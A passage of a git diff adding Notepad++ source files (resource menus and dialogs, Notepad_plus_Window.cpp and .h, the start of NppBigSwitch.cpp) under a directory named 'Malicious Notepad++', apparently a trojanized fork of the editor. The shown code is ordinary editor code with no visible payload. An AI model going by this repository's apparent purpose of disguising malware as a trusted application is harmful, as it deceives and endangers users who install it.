MENUITEM "Ada", IDM_LANG_ADA + MENUITEM "ASN.1", IDM_LANG_ASN1 + MENUITEM "ASP", IDM_LANG_ASP + MENUITEM "Assembly", IDM_LANG_ASM + MENUITEM "AutoIt", IDM_LANG_AU3 + MENUITEM "AviSynth", IDM_LANG_AVS + END + POPUP "B" + BEGIN + MENUITEM "BaanC", IDM_LANG_BAANC + MENUITEM "Batch", IDM_LANG_BATCH + MENUITEM "Blitzbasic", IDM_LANG_BLITZBASIC + END + POPUP "C" + BEGIN + MENUITEM "C", IDM_LANG_C + MENUITEM "C#", IDM_LANG_CS + MENUITEM "C++", IDM_LANG_CPP + MENUITEM "Caml", IDM_LANG_CAML + MENUITEM "CMake", IDM_LANG_CMAKE + MENUITEM "COBOL", IDM_LANG_COBOL + MENUITEM "CSound", IDM_LANG_CSOUND + MENUITEM "CoffeeScript", IDM_LANG_COFFEESCRIPT + MENUITEM "CSS", IDM_LANG_CSS + END + POPUP "D" + BEGIN + MENUITEM "D", IDM_LANG_D + MENUITEM "Diff", IDM_LANG_DIFF + END + POPUP "E" + BEGIN + MENUITEM "Erlang", IDM_LANG_ERLANG + MENUITEM "ESCRIPT", IDM_LANG_ESCRIPT + END + POPUP "F" + BEGIN + MENUITEM "Forth", IDM_LANG_FORTH + MENUITEM "Fortran (free form)", IDM_LANG_FORTRAN + MENUITEM "Fortran (fixed form)", IDM_LANG_FORTRAN_77 + MENUITEM "Freebasic", IDM_LANG_FREEBASIC + END + MENUITEM "Gui4Cli", IDM_LANG_GUI4CLI + POPUP "H" + BEGIN + MENUITEM "Haskell", IDM_LANG_HASKELL + MENUITEM "HTML", IDM_LANG_HTML + END + POPUP "I" + BEGIN + MENUITEM "INI file", IDM_LANG_INI + MENUITEM "Inno Setup", IDM_LANG_INNO + MENUITEM "Intel HEX", IDM_LANG_IHEX + END + POPUP "J" + BEGIN + MENUITEM "Java", IDM_LANG_JAVA + MENUITEM "JavaScript", IDM_LANG_JS + MENUITEM "JSON", IDM_LANG_JSON + MENUITEM "JSP", IDM_LANG_JSP + END + MENUITEM "KIXtart", IDM_LANG_KIX + POPUP "L" + BEGIN + MENUITEM "LaTeX", IDM_LANG_LATEX + MENUITEM "LISP", IDM_LANG_LISP + MENUITEM "Lua", IDM_LANG_LUA + END + POPUP "M" + BEGIN + MENUITEM "Makefile", IDM_LANG_MAKEFILE + MENUITEM "Matlab", IDM_LANG_MATLAB + MENUITEM "MMIXAL", IDM_LANG_MMIXAL + MENUITEM "MS-DOS Style", IDM_LANG_ASCII + END + POPUP "N" + BEGIN + MENUITEM "Nimrod", IDM_LANG_NIMROD + MENUITEM "Nncrontab", IDM_LANG_NNCRONTAB + MENUITEM "Normal Text", IDM_LANG_TEXT + MENUITEM "NSIS", IDM_LANG_NSIS + END + POPUP "O" + BEGIN + MENUITEM "Objective-C", IDM_LANG_OBJC + MENUITEM "OScript", IDM_LANG_OSCRIPT + END + POPUP "P" + BEGIN + MENUITEM "Pascal", IDM_LANG_PASCAL + MENUITEM "Perl", IDM_LANG_PERL + MENUITEM "PHP", IDM_LANG_PHP + MENUITEM "PostScript", IDM_LANG_PS + MENUITEM "PowerShell", IDM_LANG_POWERSHELL + MENUITEM "Properties", IDM_LANG_PROPS + MENUITEM "Purebasic", IDM_LANG_PUREBASIC + MENUITEM "Python", IDM_LANG_PYTHON + END + POPUP "R" + BEGIN + MENUITEM "R", IDM_LANG_R + MENUITEM "REBOL", IDM_LANG_REBOL + MENUITEM "Registry", IDM_LANG_REGISTRY + MENUITEM "Resource file", IDM_LANG_RC + MENUITEM "Ruby", IDM_LANG_RUBY + MENUITEM "Rust", IDM_LANG_RUST + END + POPUP "S" + BEGIN + MENUITEM "Shell", IDM_LANG_BASH + MENUITEM "Scheme", IDM_LANG_SCHEME + MENUITEM "Smalltalk", IDM_LANG_SMALLTALK + MENUITEM "Spice", IDM_LANG_SPICE + MENUITEM "SQL", IDM_LANG_SQL + MENUITEM "Swift", IDM_LANG_SWIFT + MENUITEM "S-Record", IDM_LANG_SREC + END + POPUP "T" + BEGIN + MENUITEM "TCL", IDM_LANG_TCL + MENUITEM "Tektronix extended HEX",IDM_LANG_TEHEX + MENUITEM "TeX", IDM_LANG_TEX + MENUITEM "txt2tags", IDM_LANG_TXT2TAGS + END + POPUP "V" + BEGIN + MENUITEM "Visual Basic", IDM_LANG_VB + MENUITEM "Visual Prolog", IDM_LANG_VISUALPROLOG + MENUITEM "VHDL", IDM_LANG_VHDL + MENUITEM "Verilog", IDM_LANG_VERILOG + END + MENUITEM "XML", IDM_LANG_XML + MENUITEM "YAML", IDM_LANG_YAML + MENUITEM SEPARATOR + MENUITEM "Define your language...", IDM_LANG_USER_DLG + MENUITEM "User-Defined", IDM_LANG_USER + END + + POPUP "Se&ttings" + BEGIN + MENUITEM "Preferences...", IDM_SETTING_PREFERECE + MENUITEM "Style Configurator...", IDM_LANGSTYLE_CONFIG_DLG + MENUITEM "Shortcut Mapper...", IDM_SETTING_SHORTCUT_MAPPER + MENUITEM SEPARATOR + POPUP "Import" + BEGIN + MENUITEM "Import plugin(s)...", IDM_SETTING_IMPORTPLUGIN + MENUITEM "Import style theme(s)...", IDM_SETTING_IMPORTSTYLETHEMS + END + MENUITEM SEPARATOR + MENUITEM "Edit Popup ContextMenu", IDM_SETTING_EDITCONTEXTMENU + END + + POPUP "T&ools" + BEGIN + POPUP "MD5" + BEGIN + MENUITEM "Generate...", IDM_TOOL_MD5_GENERATE + MENUITEM "Generate from files...", IDM_TOOL_MD5_GENERATEFROMFILE + MENUITEM "Generate into clipboard", IDM_TOOL_MD5_GENERATEINTOCLIPBOARD + END + END + + POPUP "&Macro" + BEGIN + MENUITEM "Start Re&cording", IDM_MACRO_STARTRECORDINGMACRO + MENUITEM "S&top Recording", IDM_MACRO_STOPRECORDINGMACRO + MENUITEM "&Playback", IDM_MACRO_PLAYBACKRECORDEDMACRO + MENUITEM "&Save Current Recorded Macro...", IDM_MACRO_SAVECURRENTMACRO + MENUITEM "&Run a Macro Multiple Times...", IDM_MACRO_RUNMULTIMACRODLG + END + + POPUP "&Run" + BEGIN + MENUITEM "&Run...", IDM_EXECUTE + END + + POPUP "&?" + BEGIN + //MENUITEM "Help Contents", IDM_HELP + MENUITEM "Command Line Arguments...", IDM_CMDLINEARGUMENTS + MENUITEM SEPARATOR + MENUITEM "Notepad++ Home", IDM_HOMESWEETHOME + MENUITEM "Notepad++ Project Page", IDM_PROJECTPAGE + //MENUITEM "Online Documentation", IDM_ONLINEHELP + MENUITEM "Notepad++ Community (Forum)", IDM_FORUM + MENUITEM "Live Support", IDM_ONLINESUPPORT + MENUITEM "Get More Plugins", IDM_PLUGINSHOME + MENUITEM SEPARATOR + MENUITEM "Update Notepad++", IDM_UPDATE_NPP + MENUITEM "Set Updater Proxy...", IDM_CONFUPDATERPROXY + MENUITEM SEPARATOR + MENUITEM "Debug Info...", IDM_DEBUGINFO + MENUITEM "About Notepad++", IDM_ABOUT + END + + MENUITEM "X", IDM_FILE_CLOSE, HELP +END + +IDR_SYSTRAYPOPUP_MENU MENU +BEGIN + POPUP "Popup" + BEGIN + MENUITEM "Activate", IDM_SYSTRAYPOPUP_ACTIVATE + MENUITEM SEPARATOR + MENUITEM "New", IDM_SYSTRAYPOPUP_NEWDOC + MENUITEM "New and Paste", IDM_SYSTRAYPOPUP_NEW_AND_PASTE + MENUITEM "Open...", IDM_SYSTRAYPOPUP_OPENFILE + MENUITEM "Find in Files...", IDM_SEARCH_FINDINFILES + MENUITEM SEPARATOR + MENUITEM "Close Tray Icon", IDM_SYSTRAYPOPUP_CLOSE + END +END + +IDD_ABOUTBOX DIALOGEX 0, 0, 271, 240 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_BORDER | WS_SYSMENU +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x1 +BEGIN + EDITTEXT IDC_BUILD_DATETIME,150,2,150,10, ES_READONLY | NOT WS_BORDER + CONTROL "",IDI_CHAMELEON,"Static",SS_OWNERDRAW,20,5,64,64 + //CONTROL "",IDI_JESUISCHARLIE,"Static",SS_OWNERDRAW,20,5,64,64 + LTEXT NOTEPAD_PLUS_VERSION, IDC_STATIC,70,20,140,11 + LTEXT "bit",IDC_VERSION_BIT,150,20,140,11 + LTEXT "Author :",IDC_STATIC,21,45,31,8 + LTEXT "Notepad++ team",IDC_AUTHOR_NAME,78,45,70,8 + LTEXT "Home Page :",IDC_STATIC,21,59,47,8 + LTEXT "https://notepad-plus-plus.org/",IDC_HOME_ADDR,78,59,126,8 + GROUPBOX "GNU General Public Licence",IDC_STATIC,19,75,231,131,BS_CENTER + DEFPUSHBUTTON "OK",IDOK,106,215,50,14,BS_FLAT + // IDC_LICENCE_EDIT should be the last line, don't know why + EDITTEXT IDC_LICENCE_EDIT,31,99,209,96,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL +END + +IDD_DEBUGINFOBOX DIALOGEX 0, 0, 271, 200 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Debug Info" +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x1 +BEGIN + EDITTEXT IDC_DEBUGINFO_EDIT,31,20,220,96,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL + LTEXT "Copy debug info into clipboard",IDC_DEBUGINFO_COPYLINK,31,120,126,8 + DEFPUSHBUTTON "OK",IDOK,106,160,50,14,BS_FLAT +END + + +IDD_GOLINE DIALOGEX 26, 41, 261, 88 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Go To..." +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x0 +BEGIN + CONTROL "&Line",IDC_RADIO_GOTOLINE,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,5,9,80,10 + CONTROL "&Offset",IDC_RADIO_GOTOOFFSET,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,98,9,80,10 + LTEXT "You are here :",ID_URHERE_STATIC,5,34,95,8,NOT WS_GROUP + LTEXT "0123456789",ID_CURRLINE,100,34,45,8,NOT WS_GROUP + LTEXT "You want to &go to :",ID_UGO_STATIC,5,51,95,8 + EDITTEXT ID_GOLINE_EDIT,98,49,71,12,ES_NUMBER + LTEXT "You can't go further than :",ID_NOMORETHAN_STATIC,5,68,92,8,NOT WS_GROUP + LTEXT "0123456789",ID_LASTLINE,100,68,45,8,NOT WS_GROUP + DEFPUSHBUTTON "Go",IDOK,181,48,70,14,BS_NOTIFY + PUSHBUTTON "I'm going nowhere",IDCANCEL,181,66,70,14,BS_NOTIFY +END + +IDD_VALUE_DLG DIALOGEX 0, 0, 74, 17 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x1 +BEGIN + LTEXT "STATIC :",IDC_VALUE_STATIC,6,4,45,8 + EDITTEXT IDC_VALUE_EDIT,49,2,18,14,ES_NUMBER,WS_EX_DLGMODALFRAME +END + +IDD_BUTTON_DLG DIALOGEX 0, 0, 12, 10 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + PUSHBUTTON "+",IDC_RESTORE_BUTTON,0,0,12,10 +END diff --git a/Malicious Notepad++/src/Notepad_plus_Window.cpp b/Malicious Notepad++/src/Notepad_plus_Window.cpp new file mode 100644 index 0000000..2ba6a7c --- /dev/null +++ b/Malicious Notepad++/src/Notepad_plus_Window.cpp @@ -0,0 +1,323 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include "Notepad_plus_Window.h" + +const TCHAR Notepad_plus_Window::_className[32] = TEXT("Notepad++"); +HWND Notepad_plus_Window::gNppHWND = NULL; + + + +namespace // anonymous +{ + + struct PaintLocker final + { + explicit PaintLocker(HWND handle) + : handle(handle) + { + // disallow drawing on the window + LockWindowUpdate(handle); + } + + ~PaintLocker() + { + // re-allow drawing for the window + LockWindowUpdate(NULL); + + // force re-draw + InvalidateRect(handle, nullptr, TRUE); + RedrawWindow(handle, nullptr, NULL, RDW_ERASE | RDW_ALLCHILDREN | RDW_FRAME | RDW_INVALIDATE); + } + + HWND handle; + }; + +} // anonymous namespace + + + + + +void Notepad_plus_Window::init(HINSTANCE hInst, HWND parent, const TCHAR *cmdLine, CmdLineParams *cmdLineParams) +{ + time_t timestampBegin = 0; + if (cmdLineParams->_showLoadingTime) + timestampBegin = time(NULL); + + Window::init(hInst, parent); + WNDCLASS nppClass; + + nppClass.style = CS_BYTEALIGNWINDOW | CS_DBLCLKS; + nppClass.lpfnWndProc = Notepad_plus_Proc; + nppClass.cbClsExtra = 0; + nppClass.cbWndExtra = 0; + nppClass.hInstance = _hInst; + nppClass.hIcon = ::LoadIcon(hInst, MAKEINTRESOURCE(IDI_M30ICON)); + nppClass.hCursor = ::LoadCursor(NULL, IDC_ARROW); + nppClass.hbrBackground = ::CreateSolidBrush(::GetSysColor(COLOR_MENU)); + nppClass.lpszMenuName = MAKEINTRESOURCE(IDR_M30_MENU); + nppClass.lpszClassName = _className; + + _isPrelaunch = cmdLineParams->_isPreLaunch; + + if (!::RegisterClass(&nppClass)) + { + throw std::runtime_error("Notepad_plus_Window::init : RegisterClass() function failed"); + } + + NppParameters *pNppParams = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParams->getNppGUI()); + + if (cmdLineParams->_isNoPlugin) + _notepad_plus_plus_core._pluginsManager.disable(); + + _hSelf = ::CreateWindowEx( + WS_EX_ACCEPTFILES | (_notepad_plus_plus_core._nativeLangSpeaker.isRTL()?WS_EX_LAYOUTRTL:0), + _className, + TEXT("Notepad++"), + (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN), + // CreateWindowEx bug : set all 0 to walk around the pb + 0, 0, 0, 0, + _hParent, nullptr, _hInst, + (LPVOID) this); // pass the ptr of this instantiated object + // for retrieve it in Notepad_plus_Proc from + // the CREATESTRUCT.lpCreateParams afterward. + + if (NULL == _hSelf) + throw std::runtime_error("Notepad_plus_Window::init : CreateWindowEx() function return null"); + + + PaintLocker paintLocker{_hSelf}; + + _notepad_plus_plus_core.staticCheckMenuAndTB(); + + gNppHWND = _hSelf; + + if (cmdLineParams->isPointValid()) + { + ::MoveWindow(_hSelf, cmdLineParams->_point.x, cmdLineParams->_point.y, nppGUI._appPos.right, nppGUI._appPos.bottom, TRUE); + } + else + { + WINDOWPLACEMENT posInfo; + posInfo.length = sizeof(WINDOWPLACEMENT); + posInfo.flags = 0; + if(_isPrelaunch) + posInfo.showCmd = SW_HIDE; + else + posInfo.showCmd = nppGUI._isMaximized ? SW_SHOWMAXIMIZED : SW_SHOWNORMAL; + + posInfo.ptMinPosition.x = (LONG)-1; + posInfo.ptMinPosition.y = (LONG)-1; + posInfo.ptMaxPosition.x = (LONG)-1; + posInfo.ptMaxPosition.y = (LONG)-1; + posInfo.rcNormalPosition.left = nppGUI._appPos.left; + posInfo.rcNormalPosition.top = nppGUI._appPos.top; + posInfo.rcNormalPosition.bottom = nppGUI._appPos.top + nppGUI._appPos.bottom; + posInfo.rcNormalPosition.right = nppGUI._appPos.left + nppGUI._appPos.right; + + //SetWindowPlacement will take care of situations, where saved position was in no longer available monitor + ::SetWindowPlacement(_hSelf,&posInfo); + } + + if ((nppGUI._tabStatus & TAB_MULTILINE) != 0) + ::SendMessage(_hSelf, WM_COMMAND, IDM_VIEW_DRAWTABBAR_MULTILINE, 0); + + if (!nppGUI._menuBarShow) + ::SetMenu(_hSelf, NULL); + + if (cmdLineParams->_isNoTab || (nppGUI._tabStatus & TAB_HIDE)) + { + const int tabStatusOld = nppGUI._tabStatus; + ::SendMessage(_hSelf, NPPM_HIDETABBAR, 0, TRUE); + if (cmdLineParams->_isNoTab) + { + // Restore old settings when tab bar has been hidden from tab bar. + nppGUI._tabStatus = tabStatusOld; + } + } + + if (cmdLineParams->_alwaysOnTop) + ::SendMessage(_hSelf, WM_COMMAND, IDM_VIEW_ALWAYSONTOP, 0); + + nppGUI._isCmdlineNosessionActivated = cmdLineParams->_isNoSession; + if (nppGUI._rememberLastSession && !cmdLineParams->_isNoSession) + _notepad_plus_plus_core.loadLastSession(); + + if (not cmdLineParams->_isPreLaunch) + { + if (cmdLineParams->isPointValid()) + ::ShowWindow(_hSelf, SW_SHOW); + else + ::ShowWindow(_hSelf, nppGUI._isMaximized ? SW_MAXIMIZE : SW_SHOW); + } + else + { + _notepad_plus_plus_core._pTrayIco = new trayIconControler(_hSelf, IDI_M30ICON, IDC_MINIMIZED_TRAY, ::LoadIcon(_hInst, MAKEINTRESOURCE(IDI_M30ICON)), TEXT("")); + _notepad_plus_plus_core._pTrayIco->doTrayIcon(ADD); + } + + if (cmdLine) + _notepad_plus_plus_core.loadCommandlineParams(cmdLine, cmdLineParams); + + std::vector fileNames; + std::vector patterns; + patterns.push_back(TEXT("*.xml")); + + generic_string nppDir = pNppParams->getNppPath(); + + LocalizationSwitcher & localizationSwitcher = pNppParams->getLocalizationSwitcher(); + std::wstring localizationDir = nppDir; + PathAppend(localizationDir, TEXT("localization\\")); + + _notepad_plus_plus_core.getMatchedFileNames(localizationDir.c_str(), patterns, fileNames, false, false); + for (size_t i = 0, len = fileNames.size(); i < len; ++i) + localizationSwitcher.addLanguageFromXml(fileNames[i].c_str()); + + fileNames.clear(); + ThemeSwitcher & themeSwitcher = pNppParams->getThemeSwitcher(); + + // Get themes from both npp install themes dir and app data themes dir with the per user + // overriding default themes of the same name. + + generic_string themeDir; + if (pNppParams->getAppDataNppDir() && pNppParams->getAppDataNppDir()[0]) + { + themeDir = pNppParams->getAppDataNppDir(); + PathAppend(themeDir, TEXT("themes\\")); + _notepad_plus_plus_core.getMatchedFileNames(themeDir.c_str(), patterns, fileNames, false, false); + for (size_t i = 0, len = fileNames.size() ; i < len ; ++i) + { + themeSwitcher.addThemeFromXml(fileNames[i].c_str()); + } + } + + fileNames.clear(); + themeDir.clear(); + themeDir = nppDir.c_str(); // <- should use the pointer to avoid the constructor of copy + PathAppend(themeDir, TEXT("themes\\")); + _notepad_plus_plus_core.getMatchedFileNames(themeDir.c_str(), patterns, fileNames, false, false); + for (size_t i = 0, len = fileNames.size(); i < len ; ++i) + { + generic_string themeName( themeSwitcher.getThemeFromXmlFileName(fileNames[i].c_str()) ); + if (! themeSwitcher.themeNameExists(themeName.c_str()) ) + { + themeSwitcher.addThemeFromXml(fileNames[i].c_str()); + } + } + + for (size_t i = 0, len = _notepad_plus_plus_core._internalFuncIDs.size() ; i < len ; ++i) + ::SendMessage(_hSelf, WM_COMMAND, _notepad_plus_plus_core._internalFuncIDs[i], 0); + + // Notify plugins that Notepad++ is ready + SCNotification scnN; + scnN.nmhdr.code = NPPN_READY; + scnN.nmhdr.hwndFrom = _hSelf; + scnN.nmhdr.idFrom = 0; + _notepad_plus_plus_core._pluginsManager.notify(&scnN); + + if (not cmdLineParams->_easterEggName.empty()) + { + char dest[MAX_PATH]; + wcstombs(dest, (cmdLineParams->_easterEggName).c_str(), sizeof(dest)); + + //::MessageBoxA(NULL, destStr.c_str(), "", MB_OK); + if (cmdLineParams->_quoteType == 0) // Easter Egg Name + { + int iQuote = _notepad_plus_plus_core.getQuoteIndexFrom(dest); + if (iQuote != -1) + { + _notepad_plus_plus_core.showQuoteFromIndex(iQuote); + } + } + else if (cmdLineParams->_quoteType == 1) // command line quote + { + _userQuote = dest; + _notepad_plus_plus_core.showQuote(_userQuote.c_str(), "Anonymous #999", false); + } + else if (cmdLineParams->_quoteType == 2) // content drom file + { + std::string destStr = dest; + generic_string fileName(destStr.begin(), destStr.end()); + + if (::PathFileExists(fileName.c_str())) + { + _userQuote = getFileContent(fileName.c_str()); + if (_userQuote != "") + _notepad_plus_plus_core.showQuote(_userQuote.c_str(), "Anonymous #999", false); + } + } + } + + if (cmdLineParams->_showLoadingTime) + { + time_t timestampEnd = time(NULL); + double loadTime = difftime(timestampEnd, timestampBegin); + + char dest[256]; + sprintf(dest, "Loading time : %.0lf seconds", loadTime); + ::MessageBoxA(NULL, dest, "", MB_OK); + } + + bool isSnapshotMode = nppGUI.isSnapshotMode(); + if (isSnapshotMode) + { + _notepad_plus_plus_core.checkModifiedDocument(); + // Lauch backup task + _notepad_plus_plus_core.launchDocumentBackupTask(); + } + + // Make this call later to take effect + ::SendMessage(_hSelf, NPPM_INTERNAL_SETWORDCHARS, 0, 0); + + if (pNppParams->doFunctionListExport()) + ::SendMessage(_hSelf, NPPM_INTERNAL_EXPORTFUNCLISTANDQUIT, 0, 0); + + if (pNppParams->doPrintAndExit()) + ::SendMessage(_hSelf, NPPM_INTERNAL_PRNTANDQUIT, 0, 0); +} + + +bool Notepad_plus_Window::isDlgsMsg(MSG *msg) const +{ + for (size_t i = 0, len = _notepad_plus_plus_core._hModelessDlgs.size(); i < len; ++i) + { + if (_notepad_plus_plus_core.processIncrFindAccel(msg)) + return true; + + if (_notepad_plus_plus_core.processFindAccel(msg)) + return true; + + if (::IsDialogMessageW(_notepad_plus_plus_core._hModelessDlgs[i], msg)) + return true; + } + return false; +} diff --git a/Malicious Notepad++/src/Notepad_plus_Window.h b/Malicious Notepad++/src/Notepad_plus_Window.h new file mode 100644 index 0000000..73248ed --- /dev/null +++ b/Malicious Notepad++/src/Notepad_plus_Window.h @@ -0,0 +1,115 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include "Notepad_plus.h" + + + +const TCHAR COMMAND_ARG_HELP[] = TEXT("Usage :\r\ +\r\ +notepad++ [--help] [-multiInst] [-noPlugin] [-lLanguage] [-LlangCode] [-nLineNumber] [-cColumnNumber] [-pPosition] [-xLeftPos] [-yTopPos] [-nosession] [-notabbar] [-ro] [-systemtray] [-loadingTime] [-alwaysOnTop] [-openSession] [-r] [-qnEasterEggName | -qtText | -qfCntentFileName] [-quickPrint] [filePath]\r\ +\r\ + --help : This help message\r\ + -multiInst : Launch another Notepad++ instance\r\ + -noPlugin : Launch Notepad++ without loading any plugin\r\ + -l : Open filePath by applying indicated programming language\r\ + -L : Apply indicated localization, langCode is browser language code\r\ + -n : Scroll to indicated line on filePath\r\ + -c : Scroll to indicated column on filePath\r\ + -p : Scroll to indicated position on filePath\r\ + -x : Move Notepad++ to indicated left side position on the screen\r\ + -y : Move Notepad++ to indicated top position on the screen\r\ + -nosession : Launch Notepad++ without previous session\r\ + -notabbar : Launch Notepad++ without tabbar\r\ + -ro : Make the filePath read only\r\ + -systemtray : Launch Notepad++ directly in system tray\r\ + -loadingTime : Display Notepad++ loading time\r\ + -alwaysOnTop : Make Notepad++ always on top\r\ + -openSession : Open a session. filePath must be a session file\r\ + -r : Open files recursively. This argument will be ignored\r\ + if filePath contain no wildcard character\r\ + -qn : Launch ghost typing to display easter egg via its name\r\ + -qt : Launch ghost typing to display a text via the given text\r\ + -qf : Launch ghost typing to display a file content via the file path\r\ + -quickPrint : Print the file given as argument then quit Notepad++\r\ + filePath : file or folder name to open (absolute or relative path name)\r\ +"); + + + + + +class Notepad_plus_Window : public Window +{ +public: + void init(HINSTANCE, HWND, const TCHAR *cmdLine, CmdLineParams *cmdLineParams); + + bool isDlgsMsg(MSG *msg) const; + + HACCEL getAccTable() const + { + return _notepad_plus_plus_core.getAccTable(); + } + + bool emergency(generic_string emergencySavedDir) + { + return _notepad_plus_plus_core.emergency(emergencySavedDir); + } + + bool isPrelaunch() const + { + return _isPrelaunch; + } + + void setIsPrelaunch(bool val) + { + _isPrelaunch = val; + } + + virtual void destroy() + { + ::DestroyWindow(_hSelf); + } + + static const TCHAR * getClassName() + { + return _className; + } + + static HWND gNppHWND; //static handle to Notepad++ window, NULL if non-existant + + +private: + Notepad_plus _notepad_plus_plus_core; + static LRESULT CALLBACK Notepad_plus_Proc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + static const TCHAR _className[32]; + bool _isPrelaunch = false; + bool _disablePluginsManager = false; + std::string _userQuote; // keep the availability of this string for thread using +}; diff --git a/Malicious Notepad++/src/NppBigSwitch.cpp b/Malicious Notepad++/src/NppBigSwitch.cpp new file mode 100644 index 0000000..f4d95c3 --- /dev/null +++ b/Malicious Notepad++/src/NppBigSwitch.cpp @@ -0,0 +1,2411 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include "Notepad_plus_Window.h" +#include "TaskListDlg.h" +#include "ImageListSet.h" +#include "ShortcutMapper.h" +#include "ansiCharPanel.h" +#include "clipboardHistoryPanel.h" +#include "VerticalFileSwitcher.h" +#include "ProjectPanel.h" +#include "documentMap.h" +#include "functionListPanel.h" +#include "fileBrowser.h" + +using namespace std; + +#define WM_DPICHANGED 0x02E0 + + +DWORD WINAPI CheckModifiedDocumentThread(LPVOID) +{ + MainFileManager->checkFilesystemChanges(); + return 0; +} + +struct SortTaskListPred final +{ + DocTabView *_views[2]; + + SortTaskListPred(DocTabView &p, DocTabView &s) + { + _views[MAIN_VIEW] = &p; + _views[SUB_VIEW] = &s; + } + + bool operator()(const TaskLstFnStatus &l, const TaskLstFnStatus &r) const { + BufferID lID = _views[l._iView]->getBufferByIndex(l._docIndex); + BufferID rID = _views[r._iView]->getBufferByIndex(r._docIndex); + Buffer * bufL = MainFileManager->getBufferByID(lID); + Buffer * bufR = MainFileManager->getBufferByID(rID); + return bufL->getRecentTag() > bufR->getRecentTag(); + } +}; + + +LRESULT CALLBACK Notepad_plus_Window::Notepad_plus_Proc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + if (hwnd == NULL) + return FALSE; + + switch(message) + { + case WM_NCCREATE: + { + // First message we get the ptr of instantiated object + // then stock it into GWLP_USERDATA index in order to retrieve afterward + Notepad_plus_Window *pM30ide = static_cast((reinterpret_cast(lParam))->lpCreateParams); + pM30ide->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast(pM30ide)); + return TRUE; + } + + default: + { + return (reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA))->runProc(hwnd, message, wParam, lParam)); + } + } +} + + +LRESULT Notepad_plus_Window::runProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_CREATE: + { + try + { + _notepad_plus_plus_core._pPublicInterface = this; + return _notepad_plus_plus_core.init(hwnd); + } + catch (std::exception& ex) + { + ::MessageBoxA(hwnd, ex.what(), "Exception On WM_CREATE", MB_OK); + exit(-1); + } + break; + } + default: + { + if (this) + return _notepad_plus_plus_core.process(hwnd, message, wParam, lParam); + } + } + return FALSE; +} + +// Used by NPPM_GETFILENAMEATCURSOR +int CharacterIs(TCHAR c, 